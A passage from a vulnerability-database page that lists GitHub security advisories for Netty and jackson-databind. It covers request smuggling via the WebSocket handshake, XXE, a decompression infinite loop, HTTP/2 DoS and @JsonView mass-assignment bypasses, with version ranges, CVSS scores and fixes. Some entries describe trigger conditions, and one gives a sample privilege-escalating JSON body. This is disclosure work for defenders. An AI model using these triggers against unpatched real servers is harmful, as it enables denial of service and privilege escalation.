"ranges": [
{
"events": [
{
"introduced": "4.2.0.Final"
},
{
"fixed": "4.2.16.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.136.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59898"
],
"database_specific": {
"cwe_ids": [
"CWE-444"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-22T21:48:59Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\nAn attacker can force WebSocket upgrade via the lax V07 (or V08) handshaker by sending `Sec-WebSocket-Version: 7` and omitting `Connection: Upgrade` / `Upgrade: websocket` headers, completing a protocol switch that a proxy would not recognize as an Upgrade request and enabling HTTP request smuggling / protocol-confusion attacks.",
"id": "GHSA-4mp9-239f-g9hg",
"modified": "2026-07-22T21:48:59Z",
"published": "2026-07-22T21:48:59Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-4mp9-239f-g9hg"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Netty: WebSockets V07/V08 handshaker missing Connection/Upgrade validation"
}
GHSA-4QHR-G3C6-FCFX
Vulnerability from github – Published: 2026-07-22 21:43 – Updated: 2026-07-22 21:43Any caller that can deliver bytes to a Netty channel pipeline containing XmlDecoder can send XML with a DOCTYPE declaration to a parser instantiated with no security configuration — but whether external entities are actually resolved depends on Aalto XML's async parser behavior, making this a confirmed misconfiguration with conditional exploitability.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.15.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-xml"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Final"
},
{
"fixed": "4.2.16.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.135.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-xml"
},
"ranges": [
{
"events": [
{
"introduced": "4.1.0.Final"
},
{
"fixed": "4.1.136.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-56817"
],
"database_specific": {
"cwe_ids": [
"CWE-611"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-22T21:43:16Z",
"nvd_published_at": "2026-07-21T23:17:52Z",
"severity": "HIGH"
},
"details": "Any caller that can deliver bytes to a Netty channel pipeline containing `XmlDecoder` can send XML with a DOCTYPE declaration to a parser instantiated with no security configuration \u2014 but whether external entities are actually resolved depends on Aalto XML\u0027s async parser behavior, making this a confirmed misconfiguration with conditional exploitability.",
"id": "GHSA-4qhr-g3c6-fcfx",
"modified": "2026-07-22T21:43:17Z",
"published": "2026-07-22T21:43:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-4qhr-g3c6-fcfx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56817"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/5b68c61f37aa4a3045cba624cbea239655c9003b"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/bb2ff68a1fb71cb4b0eb9a9e17b66c52aff680c6"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Netty XML: Injection / Risky Sink \u2014 unconfigured XML factory with active DTD and entity handling"
}
GHSA-558V-64GR-WGG4
Vulnerability from github – Published: 2026-07-22 21:50 – Updated: 2026-07-22 21:50The Bzip2Decoder handler in Netty's compression codec pipeline is vulnerable to a denial-of-service attack through a malformed bzip2 stream that permanently captures the event-loop thread in an infinite loop. The vulnerability exists in the run-length encoding (RLE) state machine within [Bzip2BlockDecompressor.read()]
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-compression"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Final"
},
{
"fixed": "4.2.16.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.136.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59901"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-22T21:50:47Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "The `Bzip2Decoder` handler in Netty\u0027s compression codec pipeline is vulnerable to a denial-of-service attack through a malformed bzip2 stream that permanently captures the event-loop thread in an infinite loop. The vulnerability exists in the run-length encoding (RLE) state machine within [`Bzip2BlockDecompressor.read()`]",
"id": "GHSA-558v-64gr-wgg4",
"modified": "2026-07-22T21:50:47Z",
"published": "2026-07-22T21:50:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-558v-64gr-wgg4"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Netty: [Bzip2Decoder] Infinite Loop in RLE State Machine Leads to Event-Loop Thread Hang"
}
GHSA-563Q-J3CM-6JXM
Vulnerability from github – Published: 2026-06-15 20:46 – Updated: 2026-06-15 20:46Summary
Netty HTTP/2 max header size handling produces attack similar to HTTP/2 Rapid Reset.
Details
There is a setting in the http2 specification called SETTINGS_MAX_HEADER_LIST_SIZE. According to the RFC: “This advisory setting informs a peer of the maximum field section size that the sender is prepared to accept, in units of octets.”
When a client sends that setting to Netty, it appears that Netty will behave as follows:
- Read the request
- Proxy the request to the origin
- Attempt to produce a response
- Create an exception while writing the headers for the response
Functionally, this should be similar to the http2 reset attack, but with a different on-the-wire signature.
Remediation
When speaking with clients, Netty should potentially treat this as “advisory” and ignore it. It would be best to ignore the SETTINGS_MAX_HEADER_LIST_SIZE setting from clients (or ignore it when sending to clients). According to the spec, a server does not need to honor this advisory setting, and it appears that other http/2 implementations ignore it when acting as a server.
Impact
This is a DDoS attack similar to the HTTP/2 Rapid Reset Attack.
Credit
Jonathan Looney (Engineering, Netflix)
Contact
Ashley Tolbert (Security, Netflix) - artolbert@netflix.com
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.14.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http2"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Final"
},
{
"fixed": "4.2.15.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.134.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.135.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-50560"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-15T20:46:56Z",
"nvd_published_at": "2026-06-12T16:16:32Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nNetty HTTP/2 max header size handling produces attack similar to HTTP/2 Rapid Reset.\n\n### Details\n\nThere is a setting in the http2 specification called `SETTINGS_MAX_HEADER_LIST_SIZE`. According to[ the RFC](https://www.rfc-editor.org/rfc/rfc9113.html#name-defined-settings): \u201cThis advisory setting informs a peer of the maximum field section size that the sender is prepared to accept, in units of octets.\u201d\n\nWhen a client sends that setting to Netty, it appears that Netty will behave as follows:\n\n- Read the request\n- Proxy the request to the origin\n- Attempt to produce a response\n- Create an exception while writing the headers for the response\n\nFunctionally, this should be similar to the http2 reset attack, but with a different on-the-wire signature.\n\n## Remediation\n\nWhen speaking with clients, Netty should potentially treat this as \u201cadvisory\u201d and ignore it. It would be best to ignore the SETTINGS_MAX_HEADER_LIST_SIZE setting from clients (or ignore it when sending to clients). According to the spec, a server does not need to honor this advisory setting, and it appears that other http/2 implementations ignore it when acting as a server.\n\n### Impact\n\nThis is a DDoS attack similar to the HTTP/2 Rapid Reset Attack.\n\n## Credit\nJonathan Looney (Engineering, Netflix)\n\n## Contact\nAshley Tolbert (Security, Netflix) - artolbert@netflix.com",
"id": "GHSA-563q-j3cm-6jxm",
"modified": "2026-06-15T20:46:56Z",
"published": "2026-06-15T20:46:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-563q-j3cm-6jxm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-50560"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.1.135.Final"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.2.15.Final"
},
{
"type": "WEB",
"url": "https://www.rfc-editor.org/rfc/rfc9113.html#name-defined-settings"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Netty susceptible to HTTP/2 Reset Attack with different on-the-wire signature"
}
GHSA-5GVW-P9QM-JGWH
Vulnerability from github – Published: 2026-07-21 22:00 – Updated: 2026-08-03 20:51Summary
UnwrappedPropertyHandler.processUnwrapped() replays the buffered JSON for a @JsonUnwrapped property by iterating its properties and calling prop.deserializeAndSet() with no prop.visibleInView(ctxt.getActiveView()) guard — the exact guard processUnwrappedCreatorProperties() received in the #5971 / GHSA-rcqc-6cw3-h962 fix, and the guard BeanDeserializer.deserializeWithUnwrapped applies to directly-matched properties. As a result, a property annotated with both @JsonView(PrivilegedView.class) and @JsonUnwrapped is written from attacker JSON even when deserializing under a more-restrictive active view.
Correction to the original framing (runtime-verified): the gap is NOT a per-field inner @JsonView (the unwrapped sub-object's own BeanDeserializer gates inner fields correctly). The unchecked gate is the view of the unwrapped CONTAINER property.
Intent proof (runtime, 2.x HEAD 21dd70dd and 3.x HEAD 7a5939d6)
An @JsonView(AdminView) property that is NOT @JsonUnwrapped → null under PublicView (correctly gated). The identical property WITH @JsonUnwrapped → fully populated (bypass). The fix the creator path already received, not applied to the regular-property method.
Impact — write-side mass-assignment / privilege escalation
@JsonView is commonly used as a write-side authorization guard: a public endpoint binds the body under readerWithView(PublicView.class) and groups privileged state in a nested object whose container property is @JsonView(AdminView). When that property is @JsonUnwrapped, an untrusted caller mass-assigns it. PoC: a self-service registration where AccountFlags{role,approved,creditBalance} is @JsonView(AdminView) @JsonUnwrapped; attacker JSON {role:ADMIN,approved:true,creditBalance:1000000} under PublicView binds all three → approved admin with arbitrary balance. The failing gate is a WRITE gate, hence integrity-high (C:N/I:H/A:N); no worse than the C:L/I:L parent and arguably higher as @JsonView-as-write-guard is the exact use case #5971/#5969 defended.
Affected
com.fasterxml.jackson.core:jackson-databind2.x: confirmed bypass at 21dd70dd (== released 2.21.4 / 2.22.0 line; includes the #5973 backport).DEFAULT_VIEW_INCLUSIONdefault=true.tools.jackson.core:jackson-databind3.x: confirmed bypass at HEAD 7a5939d6 (latest 3.x).DEFAULT_VIEW_INCLUSIONdefault=false → the stock-config repro is the common shape where privileged inner fields are individually@JsonView(PublicView)and the developer relies on the container@JsonView(AdminView); the 3.x PoC mass-assigns role/approved/creditBalance under PublicView. (The other simultaneous report's PoC was reportedly fixed on 3.x; this distinct container-property path is not.)
Additive variants (runtime-confirmed both branches; all closed by the same one-line guard)
- nested
@JsonUnwrapped(unwrapped-in-unwrapped) — recursive bypass. - merge /
readerWithView(...).withValueToUpdate(...)(PATCH/partial-update) — bypass; non-unwrapped merge control gates correctly. - builder-based deserializer (
@JsonDeserialize(builder=...)) —BuilderBasedDeserializerroutes through the sameprocessUnwrapped. - Honest non-findings: read-side serialization correctly honors views (no leak);
@JsonAnySetter+view and@JsonTypeInfo+@JsonUnwrappedare separate/unsupported behaviors, not this bug.
Fix
Add prop.visibleInView(ctxt.getActiveView()) (when MapperFeature.DEFAULT_VIEW_INCLUSION/active-view applies) to the processUnwrapped() property loop, mirroring processUnwrappedCreatorProperties(). One change closes the impact PoC + all three variants across BeanDeserializer and BuilderBasedDeserializer. Full runnable PoCs (2.x + 3.x) + variant harnesses available on request.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "2.21.0"
},
{
"fixed": "2.21.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.4"
},
"package": {
"ecosystem": "Maven",
"name": "tools.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.1.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.18.8"
},
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "2.18.0"
},
{
"fixed": "2.18.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "2.22.0"
},
{
"fixed": "2.22.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "tools.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "3.2.0"
},
{
"fixed": "3.2.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59889"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-21T22:00:43Z",
"nvd_published_at": "2026-07-14T21:17:06Z",
"severity": "MODERATE"
},
"details": "## Summary\n`UnwrappedPropertyHandler.processUnwrapped()` replays the buffered JSON for a `@JsonUnwrapped` property by iterating its properties and calling `prop.deserializeAndSet()` with **no `prop.visibleInView(ctxt.getActiveView())` guard** \u2014 the exact guard `processUnwrappedCreatorProperties()` received in the #5971 / GHSA-rcqc-6cw3-h962 fix, and the guard `BeanDeserializer.deserializeWithUnwrapped` applies to directly-matched properties. As a result, a property annotated with both `@JsonView(PrivilegedView.class)` and `@JsonUnwrapped` is written from attacker JSON even when deserializing under a more-restrictive active view.\n\n**Correction to the original framing (runtime-verified):** the gap is NOT a per-field inner `@JsonView` (the unwrapped sub-object\u0027s own `BeanDeserializer` gates inner fields correctly). The unchecked gate is the **view of the unwrapped CONTAINER property**.\n\n## Intent proof (runtime, 2.x HEAD 21dd70dd and 3.x HEAD 7a5939d6)\nAn `@JsonView(AdminView)` property that is NOT `@JsonUnwrapped` \u2192 `null` under `PublicView` (correctly gated). The identical property WITH `@JsonUnwrapped` \u2192 fully populated (bypass). The fix the creator path already received, not applied to the regular-property method.\n\n## Impact \u2014 write-side mass-assignment / privilege escalation\n`@JsonView` is commonly used as a write-side authorization guard: a public endpoint binds the body under `readerWithView(PublicView.class)` and groups privileged state in a nested object whose container property is `@JsonView(AdminView)`. When that property is `@JsonUnwrapped`, an untrusted caller mass-assigns it. PoC: a self-service registration where `AccountFlags{role,approved,creditBalance}` is `@JsonView(AdminView) @JsonUnwrapped`; attacker JSON `{role:ADMIN,approved:true,creditBalance:1000000}` under `PublicView` binds all three \u2192 approved admin with arbitrary balance. The failing gate is a WRITE gate, hence integrity-high (`C:N/I:H/A:N`); no worse than the C:L/I:L parent and arguably higher as `@JsonView`-as-write-guard is the exact use case #5971/#5969 defended.\n\n## Affected\n- `com.fasterxml.jackson.core:jackson-databind` 2.x: confirmed bypass at 21dd70dd (== released 2.21.4 / 2.22.0 line; includes the #5973 backport). `DEFAULT_VIEW_INCLUSION` default=true.\n- `tools.jackson.core:jackson-databind` 3.x: confirmed bypass at HEAD 7a5939d6 (latest 3.x). `DEFAULT_VIEW_INCLUSION` default=false \u2192 the stock-config repro is the common shape where privileged inner fields are individually `@JsonView(PublicView)` and the developer relies on the container `@JsonView(AdminView)`; the 3.x PoC mass-assigns role/approved/creditBalance under PublicView. (The other simultaneous report\u0027s PoC was reportedly fixed on 3.x; this distinct container-property path is not.)\n\n## Additive variants (runtime-confirmed both branches; all closed by the same one-line guard)\n- nested `@JsonUnwrapped` (unwrapped-in-unwrapped) \u2014 recursive bypass.\n- merge / `readerWithView(...).withValueToUpdate(...)` (PATCH/partial-update) \u2014 bypass; non-unwrapped merge control gates correctly.\n- builder-based deserializer (`@JsonDeserialize(builder=...)`) \u2014 `BuilderBasedDeserializer` routes through the same `processUnwrapped`.\n- Honest non-findings: read-side serialization correctly honors views (no leak); `@JsonAnySetter`+view and `@JsonTypeInfo`+`@JsonUnwrapped` are separate/unsupported behaviors, not this bug.\n\n## Fix\nAdd `prop.visibleInView(ctxt.getActiveView())` (when `MapperFeature.DEFAULT_VIEW_INCLUSION`/active-view applies) to the `processUnwrapped()` property loop, mirroring `processUnwrappedCreatorProperties()`. One change closes the impact PoC + all three variants across `BeanDeserializer` and `BuilderBasedDeserializer`. Full runnable PoCs (2.x + 3.x) + variant harnesses available on request.",
"id": "GHSA-5gvw-p9qm-jgwh",
"modified": "2026-08-03T20:51:31Z",
"published": "2026-07-21T22:00:43Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-5gvw-p9qm-jgwh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59889"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/issues/6060"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/pull/6056"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/commit/d627a8a86fcb062429282f79f3f256f181ed2c7b"
},
{
"type": "PACKAGE",
"url": "https://github.com/FasterXML/jackson-databind"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "jackson-databind: @JsonView bypassed for @JsonUnwrapped container properties on deserialization"
}
GHSA-5HH8-Q8HV-FR38
Vulnerability from github – Published: 2026-06-23 21:24 – Updated: 2026-07-20 21:21Summary
In BeanDeserializer._deserializeUsingPropertyBased, the active-view (@JsonView) filter was applied only to creator properties; the regular property-buffering branch performed no prop.visibleInView(activeView) check. A change making SetterlessProperty.isMerging() return true routed setterless Collection/Map properties through this unguarded path, so a setterless collection annotated with a restricted @JsonView is populated from attacker JSON even when the active view excludes it.
Impact
View-restricted (e.g. admin-only) setterless collection/map properties can be written from untrusted JSON despite @JsonView gating — an access-control / mass-assignment bypass. No RCE or DoS.
Affected / Patched (verified via git tag --contains)
- 2.21 line:
>= 2.21.0, < 2.21.4-> fixed in 2.21.4 (backport94c5d21, #5970) - 3.x line:
>= 3.0.0, < 3.1.4-> fixed in 3.1.4 (#5969,5bf23ed)
Severity / CWE
Maintainer: minor. Reporter: HIGH. CWE-863 (Incorrect Authorization); related CWE-1220.
Credits
Omkhar Arasaratnam (@omkhar) - finder.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "2.21.0"
},
{
"fixed": "2.21.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.1.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "tools.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.1.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54517"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-23T21:24:50Z",
"nvd_published_at": "2026-06-23T21:17:02Z",
"severity": "MODERATE"
},
"details": "## Summary\nIn `BeanDeserializer._deserializeUsingPropertyBased`, the active-view (`@JsonView`) filter was applied only to creator properties; the regular property-buffering branch performed no `prop.visibleInView(activeView)` check. A change making `SetterlessProperty.isMerging()` return `true` routed setterless Collection/Map properties through this unguarded path, so a setterless collection annotated with a restricted `@JsonView` is populated from attacker JSON even when the active view excludes it.\n\n## Impact\nView-restricted (e.g. admin-only) setterless collection/map properties can be written from untrusted JSON despite `@JsonView` gating \u2014 an access-control / mass-assignment bypass. No RCE or DoS.\n\n## Affected / Patched (verified via `git tag --contains`)\n- 2.21 line: `\u003e= 2.21.0, \u003c 2.21.4` -\u003e fixed in **2.21.4** (backport `94c5d21`, #5970)\n- 3.x line: `\u003e= 3.0.0, \u003c 3.1.4` -\u003e fixed in **3.1.4** (#5969, `5bf23ed`)\n\n## Severity / CWE\nMaintainer: minor. Reporter: HIGH. CWE-863 (Incorrect Authorization); related CWE-1220.\n\n## Credits\nOmkhar Arasaratnam (@omkhar) - finder.",
"id": "GHSA-5hh8-q8hv-fr38",
"modified": "2026-07-20T21:21:27Z",
"published": "2026-06-23T21:24:50Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-5hh8-q8hv-fr38"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54517"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/pull/5969"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/pull/5970"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/commit/5bf23edb4221f7dd2ec8e71ff6d26c61640f261d"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/commit/94c5d215b3af1505098c686405d9641f041a9962"
},
{
"type": "PACKAGE",
"url": "https://github.com/FasterXML/jackson-databind"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "jackson-databind has @JsonView bypass for setterless creator properties"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.